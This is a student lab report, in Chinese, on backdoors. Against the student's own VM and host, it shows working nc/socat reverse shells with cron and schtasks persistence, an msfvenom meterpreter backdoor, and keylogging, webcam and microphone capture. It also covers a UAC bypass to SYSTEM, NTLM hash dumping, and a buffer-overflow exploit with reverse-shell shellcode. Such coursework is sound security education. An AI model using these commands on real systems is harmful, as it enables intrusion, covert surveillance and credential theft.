网络攻防实验二
20242424 2026-2027-1 《网络与系统攻防技术》实验2实验报告
1.基础知识
Metasploit(MSF):
全称:Metasploit Framework(Metasploit 框架),本质是一个完整的渗透测试框架,是一个工具集合
包含:
- Exploits:数千个已知漏洞的利用模块
- Payloads:各种载荷,如meterpreter、反弹 Shell
- Auxiliary:各种辅助模块,比如扫描器、嗅探器
- Post:各种后渗透模块,比如提权、抓取哈希
Exploit 是开锁匠,Payload 是进去干活的人,Auxiliary 是侦察兵,Post 是收尾工
msfconsole:
Metasploit的控制台,是 Metasploit 框架提供的一个命令行交互界面(CLI)
msfvenom:
载荷生成工具,相当于一个生产线。生成的东西,统称为 Payload(有效载荷),可以生成后门程序
① 当生成可执行文件时
专业叫法:Meterpreter 后门可执行文件 / 反向 TCP 木马。
通俗叫法:后门(Backdoor)、木马(Trojan)、植入物(Implant)。
② 当生成代码片段时
专业叫法:Shellcode(Shell代码)。
③ 当生成脚本时(如 -f python、-f c)
专业叫法:Payload 脚本 / 载荷生成代码。
netcat/nc/ncat:
功能极其强大的网络工具。它可以通过 TCP 或 UDP 协议读写数据。可以实现后门程序传输。
SoCat:
socat 的全称是 SOcket CATenate(套接字连接),它的定位是在两个独立的数据流(文件、管道、设备、网络套接字等)之间建立双向连接。
Meterpreter:
| 对比项 | 普通 Shell(nc/socat) | Meterpreter |
|---|---|---|
| 存在形式 | 在硬盘上有一个实体进程(如 cmd.exe) | 无文件落地,反射式 DLL 注入到目标进程内存中 |
| 通信方式 | 明文传输(极易被 Wireshark 抓包分析) | 全程加密(TLS/加密通道) |
| 交互体验 | 无提示符、无 Tab 补全、乱码(需手动 chcp/Python升级) | 自带完美的 PTY(伪终端),无乱码,原生支持 Tab 补全 |
| 自带功能 | 只能执行目标系统自带的命令 | 自带上百个扩展命令(如 hashdump、getsystem、screenshot) |
| 隐蔽性 | 杀掉 cmd.exe 进程就断了 | 进程迁移(migrate)后,后门潜伏在系统核心进程(如 lsass.exe)中 |
| 被查杀概率 | 现代杀软基本秒杀 nc 绑定 shell | 通过 Stager 分段加载,免杀能力强,但也面临 EDR 高级查杀 |
2.实验内容
本实验基于 Windows11 主机和 kali linux 虚拟机
(1)使用 netcat 获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用 socat 获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter 生成可执行文件(后门),利用 ncat 或 socat 传送到主机并运行获取主机Shell
(4)使用MSF meterpreter 生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
3.实验过程
3.1 Win 获得 Linux Shell
ip addr查看kali linux靶机的IP

ipconfig拿到与靶机同网段Windows的IP

Windows 打开监听
ncat.exe -l -p 8888
Linux 反弹连接 Win
nc 192.168.40.1 8888 -e /bin/sh
执行代码之后,在windows终端里并没有看到kali linux虚拟机的提示符,但输入ls命令运行后确实能打印出kali linux虚拟机里面的文件列表

3.2 Linux 获得 Win Shell
Linux 运行监听指令 nc -l -p 8888
Windows 反弹连接 Linux ncat.exe -e cmd.exe 192.168.40.129 8888

连接成功,kali linux中出现windows命令提示符

我们在kali中反弹回来的winshell中运行ipconfig,可以看到windows的一系列IP地址

输入whoami,可以查看当前权限,如图所示,为windows用户,用户名叫ocean

3.3完成五个任务要求
任务一:在3.1的基础上,使用netcat获取主机操作Shell,cron启动某项任务
我设置的任务是让 Kali 每隔 1 分钟,自动在 /tmp 下生成一个带有时间戳的文件。
任务自定:让 Kali 每隔 1 分钟,自动在 /tmp 下生成一个带有时间戳的文件。
1. 完成 cron 定时任务
在 Windows 监听的 Kali Shell($ 提示符)中,复制粘贴执行以下长命令:
(crontab -l 2>/dev/null; echo "* * * * * echo 'cron executed at $(date)' >> /tmp/cron_test.txt") | crontab -
命令原理解析:
crontab -l 2>/dev/null:列出当前已有的定时任务(如果没安装 cron 会报错,所以把它丢进黑洞)。
echo "* * * * * ...":创建一个新的定时任务(每分钟执行一次 * * * * *)。
| crontab -:把前面的输出结果,直接替换当前的定时任务列表。
2. 验证任务是否生效
在 Kali Shell 里,等待 1-2 分钟。
输入以下命令查看结果:
cat /tmp/cron_test.txt
屏幕上打印出 cron executed at ...,任务完成了。

进阶挑战(权限持久化):
用 cron 每隔一分钟自动给 Windows 反弹一个 Shell。
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.40.1/5555 0>&1'") | crontab -
在 Windows 里再开一个 cmd,输入 nc.exe -lvnp 5555,看看是不是每分钟都会自动弹回来一个 Shell。
按键盘上的 Ctrl + C。强行终止当前的 ncat 进程后,在 Windows 上重新输入并执行监听命令
ncat.exe -l -p 5555
经验证,保持这个窗口开着,什么都不要做,盯着屏幕等 1 分钟(最多60秒)。
当 cron 定时任务触发时,Windows 窗口里会自动弹出一行 kali@HongHaiyang:~$,证明“定时自动上线”成功!

任务二:使用 socat 获取主机操作 Shell
socat 比 nc 强大得多,它能自动分配 PTY(伪终端),也就是说用它拿到的 Shell 直接就是完美的交互式 Shell(有提示符、无乱码、支持 Tab 补全),不需要再用 Python 去升级。
角色反转:在这个任务中,靶机是 Windows(IP: 192.168.40.1),攻击机是 Kali(IP: 192.168.40.129)。我们要让 Windows 通过任务计划,定时用 socat 主动反弹 Shell 给 Kali。
第一步:Kali(攻击机)配置 socat 监听
在 Kali 上打开一个新终端,输入以下命令开启监听(4444 端口):
socat TCP-LISTEN:4444,reuseaddr -
执行完后,Kali 终端会光标卡住,这是正常的,它在静静等待 Windows 连接。
第二步:Windows(靶机)准备 socat.exe
下载 Windows 版本的 socat.exe。
将它放到 Windows 靶机的一个目录下,"D:\网络攻防\socat\socat-1.8.1.1-msys2-x64\socat.exe"。
第三步:在 Windows 上手动测试
打开 Windows 的 CMD,进入 socat.exe 所在的文件夹,输入:
socat.exe TCP:192.168.40.129:4444 EXEC:cmd.exe,pipes
敲完回车后,去看 Kali 终端,应该会直接弹出一个 C:\Users\ocean> 提示符。然后在 Kali 里敲 whoami,返回
Windows用户名 ocean,说明成功了。

第四步:在 Windows 上用任务计划启动后门
保持 Kali 的监听状态不变。在 Windows 上用管理员权限打开 CMD,输入以下命令创建任务:
schtasks /create /sc minute /mo 1 /tn "SocatShell" /tr "D:\网络攻防\socat\socat-1.8.1.1-msys2-x64\socat.exe TCP:192.168.40.129:4444 EXEC:cmd.exe,pipes" /f
创建成功后,在任务计划程序中可看到此任务的详细信息。

如果提示“成功”,在 Kali 里等一分钟,Windows 的 Shell 就会自动弹回来。
回弹后,输入whoami和ipconfig进行验证


有不少乱码,此时输入
chcp 65001
乱码问题会改善很多。出现乱码的核心原因是中文版Windows和linux编码格式不匹配

任务三:使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
实验前置动作
Windows 自带的 Windows Defender 会瞬间秒杀 MSF 生成的后门,导致前功尽弃。
在 Windows 中,打开“Windows 安全中心” -> “病毒和威胁防护” -> “管理设置”。关闭“实时保护”。
直接关闭整个 Windows Defender。
临时关闭 Windows 防火墙(或者在弹窗询问时选择“允许访问”)。
第一步:使用 MSF 生成后门文件(Kali 攻击机)
在 Kali 终端中,输入以下命令生成一个 64 位的 Windows 可执行后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f exe -o backdoor.exe
参数解释:
-p windows/x64/meterpreter/reverse_tcp:使用 64 位 Meterpreter 反向 TCP 载荷(比普通 Shell 强大得多)。
LHOST=192.168.40.129:回连的 IP( Kali 的 IP)。
LPORT=4444:回连的端口(稍后 MSF 要监听这个端口)。
-f exe:生成 exe 格式。
-o backdoor.exe:输出文件名为 backdoor.exe。
生成后,在 Kali 当前目录下执行 ls -lh backdoor.exe 确认文件已生成。
第二步:使用 ncat 传送到 Windows
在 Windows 上(先接收):
打开 Windows CMD,进入存放后门的目录(D:\网络攻防\实验二任务三),输入以下命令开启接收:
ncat.exe -lvnp 5555 > backdoor.exe
(注意:此时 Windows 会卡住,等待文件传输。)
在 Kali 上(后发送):
新开一个 Kali 终端,切换到生成 backdoor.exe 的目录,输入:
ncat 192.168.40.1 5555 < backdoor.exe
(注意:把 192.168.40.1 替换成 Windows 的真实 IP。)
传输瞬间完成。回到 Windows CMD,你会发现它回到了提示符,执行 dir backdoor.exe 确认文件大小是否与 Kali 上的
一致。如下图所示,文件传输成功。

第三步:Kali 开启 MSF 监听端
在 Kali 上,打开一个新的终端,输入 msfconsole 启动 Metasploit(首次启动可能需要几十秒)。
进入 msf6 > 提示符后,依次输入以下命令:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.40.129
set LPORT 4444
exploit -j
执行后,Kali 会显示 Started reverse TCP handler on 192.168.40.129:4444,此时监听准备就绪。

第四步:在 Windows 上执行后门
回到 Windows,双击运行 backdoor.exe
如果 Windows 弹出防火墙警告,一定要点击“允许访问”。

第五步:验证成功
回到 Kali 的 MSF 终端,等待几秒钟
当看到 Meterpreter session 1 opened,说明大功告成!

在 MSF 终端里输入sessions -i 1进入该会话。此时提示符会变成 meterpreter >

验证 Meterpreter 强大功能:
sysinfo # 查看系统信息
getuid # 查看当前权限
screenshot # 偷偷截取靶机屏幕
shell # 进入传统的 cmd shell
如下图所示,我们可以看到windows靶机的各种系统信息

利用screenshot成功截取了靶机屏幕,如下图所示

数据窃取:下载敏感文件。在 Kali meterpreter 里输入 download 盘:路径/文件名,文件就会直接下载到你的 Kali。
如输入download "C:\Users\ocean\Pictures\Camera Roll\下载.jpg"
成功把我们靶机里面的祁厅长照片下载到了攻击机中

输入 exit 可以退出 shell 回到 meterpreter,再输入 background 可以把会话放到后台。
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
第一部分:获取击键记录
在真实的渗透中,这是记录管理员密码、聊天记录的利器。
开始记录:在 meterpreter > 下输入:
keyscan_start
(提示 Starting the keystroke sniffer...)
去 Windows 靶机操作:随便打开一个记事本,或者浏览器,随便敲几个字,比如输入 hello ocean 12345。
导出记录:回到 Kali 的 meterpreter,输入:
keyscan_dump
你会在 Kali 屏幕上看到刚才在 Windows 上敲击的所有字符
如图所示,在Windows靶机的浏览器输入框中敲入honghaiyang20242424

回到 Kali 的 meterpreter,输入:
keyscan_dump
可以看到我们在靶机上的键盘输入被完整的在攻击机上打印了出来

输入keyscan_stop可以退出记录
第二部分:获取摄像头和音频
音频录制:
在 meterpreter > 下输入:
record_mic -d 10
录制 10 秒,如果成功,Kali 当前目录会生成一个 .wav 文件,输入 ls 可以看到。
如图所示,生成了一个.wav音频文件

摄像头控制:
在 meterpreter > 下输入:
webcam_list # 列出摄像头
webcam_snap # 拍一张照片

webcam_stream # 开启实时视频流(会弹出一个网页播放器)
如下图所示,输入命令后可以利用靶机的摄像头实时视频

第三部分:权限提升
目前只是 ocean 用户权限,如果是普通用户,很多操作无法完成。我们要提权到 NT AUTHORITY\SYSTEM(Windows 最高系统权限)。
查看当前权限:
getuid
显示 Windows\ocean,说明现在是普通用户
尝试自动提权:
getsystem
Meterpreter 会尝试多种方法(如命名管道模拟、令牌窃取)来提权。
如果成功,它会提示 ...got system via technique 1 (Named Pipe Impersonation...)。
不过在我的实验中,直接提权失败了。
直接提权尝试(失败):在初始 Meterpreter 中执行 getsystem,因目标系统(Windows 10 Build 26200)安全机制完善,命名管道实例繁忙,提权失败。
UAC 绕过尝试(多模块受阻):
尝试 exploit/windows/local/bypassuac,遭遇 Payload 架构不兼容及系统版本不适用报错。
尝试 exploit/windows/local/bypassuac_silentcleanup,遭遇 Invalid target index,利用未成功。
最终绕过方案(成功):使用 exploit/windows/local/bypassuac_fodhelper 模块,通过劫持 fodhelper.exe 的注册表项,成功绕过了 UAC 限制,获取到一个高完整性级别的 Meterpreter 会话。
最终提权与验证(成功):在绕过 UAC 后的新会话中,getuid 依然显示为 ocean,随后再次执行 getsystem。提权成功,getuid 回显为 NT AUTHORITY\SYSTEM(Windows 最高权限)。
最终成功方案完整代码(在 Kali 的 msfconsole 中执行)
- 将当前普通权限的 Meterpreter 会话放到后台
background
- 加载利用 fodhelper 进行 UAC 绕过的模块
use exploit/windows/local/bypassuac_fodhelper
- 设置目标会话(请把 1 替换为你实际的旧会话 ID)
set SESSION 1
- 必须先设置目标架构为 x64(修复 payload 不兼容报错的关键)
set TARGET 1
- 设置 64 位 Payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp
- 设置回连 IP(你 Kali 的 IP)
set LHOST 192.168.40.129
- 设置回连端口(换一个未占用的端口,避免冲突,比如 4446)
set LPORT 4446
- 执行攻击
run
执行完 run 之后,如果你的窗口弹出了类似 Meterpreter session 2 opened 的提示,说明绕过 UAC 成功!接着进行下一步:
- 查看当前所有会话,找到新弹出来的那个高完整性会话的 ID(比如是 2)
sessions
- 进入新会话(把 2 换成你实际的新会话 ID)
sessions -i 2
- 在新会话中再次执行 getsystem 提权
getsystem
- 验证最终权限
getuid

第四部分:查看提权后的战果
提权到 SYSTEM 后,你可以做更多事情:
getprivs # 查看你现在拥有的特权

在 SYSTEM 权限下尝试抓取本地哈希:
hashdump
结果:报错 Operation failed: 1168。
分析:目标系统默认开启了 LSA 保护(RunAsPPL),lsass.exe 进程被保护,传统的 hashdump 内存注入技术被内核拦截。
使用 Kiwi 扩展提取哈希(最终成功)
加载 Metasploit 的 Mimikatz 扩展,直接从内存中提取 SAM 数据库:
load kiwi
lsa_dump_sam
结果:成功输出本地用户 ocean 的 NTLM 哈希(32位十六进制字符串)。

任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1. 生成反弹Shell的Shellcode
在Kali终端中,使用msfvenom生成C语言格式的Shellcode(方便后续嵌入perl命令):
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f c -b '\x00\x0a\x0d' -e x86/shikata_ga_nai
LHOST:填写你的Kali IP(用ifconfig查看)。
LPORT:监听端口,这里用4444。
-b '\x00\x0a\x0d':过滤坏字符(\x00空字节、\x0a换行、\x0d回车),避免Shellcode被gets截断或破坏。
-e x86/shikata_ga_nai:使用编码器对Shellcode进行编码,进一步避免坏字符。
-f c:输出C语言格式的Shellcode,方便复制到perl命令中。
命令执行后会输出类似"\x31\xc0\x50..."的字节序列,复制备用。
2. 设置MSF监听器
新开一个Kali终端,启动msfconsole并配置监听:
msfconsole
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 192.168.40.129
set LPORT 4444
run
看到Starting the payload handler...表示监听已启动。
3. 构造攻击Payload(RNS模式)
首先,需要确认pwn1_bof_20242424的栈地址:
终端1:运行程序等待输入
cd ~
./pwn20242424_bof
终端2:查找PID并附加gdb
ps aux | grep pwn20242424_bof
gdb -p <PID>
(gdb) b *0x080484a2 # gets返回后的断点
(gdb) c
回到终端1输入AAAA触发断点
再回到终端2输入以下指令获取ebp的值
(gdb) info registers ebp
记下ebp值 0xffffcf48 ,计算:
缓冲区起始 = ebp - 0x1c = 0xffffcf2c
返回地址位置 = ebp + 4 = 0xffffcf4c
NOP 滑板起始 = ebp + 8 = 0xffffcf50
返回地址填 0xffffcf50,小端序为 \x50\xcf\xff\xff
构造Payload,结构如下:
[32 字节 'A'] + [4 字节 retaddr] + [16 字节 NOP] + [95 字节 Shellcode] + [换行符]
用perl生成攻击文件:
perl -e 'print "A"x32 . "\x50\xcf\xff\xff" . "\x90"x16 . "\xd9\xeb\xb8\x3f\xe4\xe7\xdb\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x12\x83\xeb\xfc\x31\x43\x13\x03\x7c\xf7\x05\x2e\xb3\x2c\x3e\x32\xe0\x91\x92\xdf\x04\x9f\xf4\x90\x6e\x52\x76\x43\x37\xdc\x48\xa9\x47\x55\xce\xc8\x2f\xa6\x98\x03\x2e\x4e\xdb\x53\x21\xd3\x52\xb2\xf1\x8d\x34\x64\xa2\xe2\xb6\x0f\xa5\xc8\x39\x5d\x4d\xbd\x16\x11\xe5\x29\x46\xfa\x97\xc0\x11\xe7\x05\x40\xab\x09\x19\x6d\x66\x49" . "\n"' > input_msf
检查文件大小和末尾:
ls -l input_msf
xxd input_msf | tail -3
确认末尾有 0a,且总长度约为 148 字节。
4. 执行攻击
(cat input_msf; cat) | ./pwn20242424_bof
切换回MSF监听终端,等待几秒,看到:

输入id或whoami验证Shell,成功后会显示当前用户信息。

输入ls验证,成功打印出文件列表

4.问题及解决方案
- 问题1:Win 获得 Linux Shell 后没有提示符,但命令能执行
原因分析:这是非交互式 Shell(Non-interactive Shell)的典型表现。用 nc 或者简单脚本反弹回来的 Shell,默认没有分配伪终端(PTY)。它只能执行命令并返回标准输出,但没有提示符、没有历史记录(上下方向键无效)、没有 Tab 补全,且 Ctrl+C 可能会直接断开连接。 - 问题1解决方案:升级为交互式 TTY Shell。在 Win 监听到的这个 Linux Shell 里,输入以下 Python 命令(Kali 默认自带 Python):
python3 -c 'import pty;pty.spawn("/bin/bash")'
执行后,就能看到提示符了。
![image]()
不过此时的提示符又出现了乱码
因为是在 Windows 的 cmd 里看 Kali 的输出,必须把 Windows 命令行的编码改成 UTF-8。
在监听的 Windows 命令行窗口里,先按 Ctrl+C 退出监听,然后输入:
chcp 65001
然后重新执行监听命令并重新反弹。这样能解决大部分中文乱码。如图所示,我们得到了正确的提示符

-
问题 2:
getsystem提权失败,提示“All pipe instances are busy”
现象:执行 getsystem,报错 [-] priv_elevate_getsystem: Operation failed: All pipe instances are busy。
原因分析:目标系统为 Windows 10 Build 26200,版本较新,系统默认 UAC 级别较高,且可能禁用了 Print Spooler 服务。getsystem 依赖的命名管道模拟、令牌复制等传统技术被系统安全机制拦截或资源被占用。 -
问题2解决方案:放弃直接 getsystem,转而寻求 UAC(用户账户控制)绕过,获取高完整性级别的令牌。
-
问题 3:bypassuac 模块报错“not a compatible payload”
现象:在 exploit/windows/local/bypassuac 中设置 PAYLOAD windows/x64/meterpreter/reverse_tcp 后执行,报错 [-] Exploit failed: windows/x64/meterpreter/reverse_tcp is not a compatible payload.
原因分析:bypassuac 模块默认针对 32 位架构设计,未明确指定 64 位目标架构时,拒绝 64 位 Payload。 -
问题3解决方案:执行 set TARGET 1(指定为 Windows x64 架构),随后重新设置 64 位 Payload,解决架构不匹配问题。
-
问题 4:-bypassuac 模块报错“Windows 10+ Build 26200 is not vulnerable”
现象:修复架构问题后重新 run,报错 [-] Exploit aborted due to failure: not-vulnerable: Windows 10+ Build 26200 is not vulnerable.
原因分析:bypassuac 模块依赖的漏洞(如 UAC 白名单程序的 DLL 劫持)在最新版 Windows 中已被微软修补。 -
问题4解决方案:放弃老旧的 bypassuac 模块,改用利用系统合法任务计划(SilentCleanup)或其他新漏洞的模块。
-
问题 5:bypassuac_silentcleanup 模块报错“Invalid target index”或利用成功但无会话
现象:设置 bypassuac_silentcleanup 模块并 run,报错 [-] Exploit failed: An invalid argument was specified. Invalid target index.;强制设置后执行,显示 Part of Administrators group! Continuing... 但最终 no session was created。
原因分析:该模块对目标系统的环境变量依赖较强,在 Build 26200 系统中利用链条可能断裂,导致虽然触发了利用逻辑,但新会话未能成功反弹。 -
问题 5解决方案:更换为兼容性更好、利用 fodhelper.exe 自动提权特性的 exploit/windows/local/bypassuac_fodhelper 模块。
-
问题 6:UAC 绕过成功,但 getuid 依然显示 ocean
现象:bypassuac_fodhelper 成功创建了新会话,但 getuid 仍显示 Server username: DESKTOP\ocean。
原因分析:UAC 绕过模块只是成功获取了管理员的高完整性级别令牌(允许执行需要管理权限的操作),但并没有改变当前进程的所属用户身份,当前仍是以 ocean 用户在高完整性上下文中运行。 -
问题 6解决方案:在这个高完整性级别的新会话中,再次执行 getsystem。此时系统不再拦截,成功将令牌窃取/模拟为 NT AUTHORITY\SYSTEM。最终通过 getuid 验证成功。
5.学习感悟、思考等
此次实验带给我极大的震撼,通过劫持靶机摄像头,键盘第一次直观感受到了后门的威力,认识到网络安全的重要性。也许这些工具发明的初衷是为了人们能远程登录自己的设备更好地办公,或者是帮助他人解决电脑上的一些问题,但同时也成为了被不法分子利用盗取他人个人信息的媒介,因此我们又出现了安全软件,防火墙等工具来应对这种黑客入侵的情况。
任务一和任务二使用的工具nc和Socat让我初步认识到后门的工作原理,联网运行一个特定的程序,通过配置IP地址和端口号,创建一个特定的进程就能完成这两个任务。
任务三使用了前沿的网络攻防工具MSF meterpreter生成后门,并利用ncat传输这个后门(可执行文件),在传输的过程中我们是将后门通过攻击机主动植入靶机的,由于现代防火墙和病毒防护的普及,这种主动植入后门的方式很容易就被识别并被杀毒软件查杀,因此我们在做这个文件传输的时候关闭了靶机的防火墙和病毒防护。而由于现代防火墙的默认拦截策略是拦进不拦出,所以在现实中,后门往往是通过钓鱼网站或邮件等形式诱骗受害者将后门自己下载到电脑上,再从靶机的内部向外进行突破的,这就是反弹连接。后门往往是一个可执行文件,用户可能被诱骗去频繁点击这个可执行文件,然后这个后门运行,攻击机利用MSF监听到了这个后门发出的连接请求,进而就可以实现监控靶机的目的了。这就是免杀。
在任务三的基础上,我们拿到了meterpreter会话,任务四可以直接提权敲命令来完成监听靶机键盘输入和控制摄像头等操作。我也在这个部分充分感受到了这个后门工具的强大。后面又尝试了很多方法提高到最高权限,最后成功拿到了最高权限,并且抓去了本地用户的NTLM哈希。
如果说实验一是利用pwn1的漏洞在本地弹一个shell出来的话,任务五则是利用这个漏洞让程序主动把shell的控制权交给远程的攻击机。体现了后门在逆向破解与BOF实验中的应用,说明在现实应用中,二者也可以结合。
6.回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 应用快捷方式
- 邮件
- 从钓鱼网站上下载到盗版程序
- 文档文件
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- 点击meterpreter(或其他软件)生成的可执行文件(后门)
- 在命令提示符中运行可执行文件(后门)
(3)Meterpreter有哪些给你映像深刻的功能?
- 可以直接获取目标主机音频,截屏甚至把目标主机的摄像头当作监控实时直播目标主机主人的日常活动。
- 更震撼的是拿到了最高权限后还可以破解出目标主机本地用户的NTLM哈希。
(4)如何发现自己有系统有没有被安装后门?
- 看看系统有没有莫名多出来的应用程序
- 查看任务管理器看看有没有异常进程在往外传输数据


浙公网安备 33010602011771号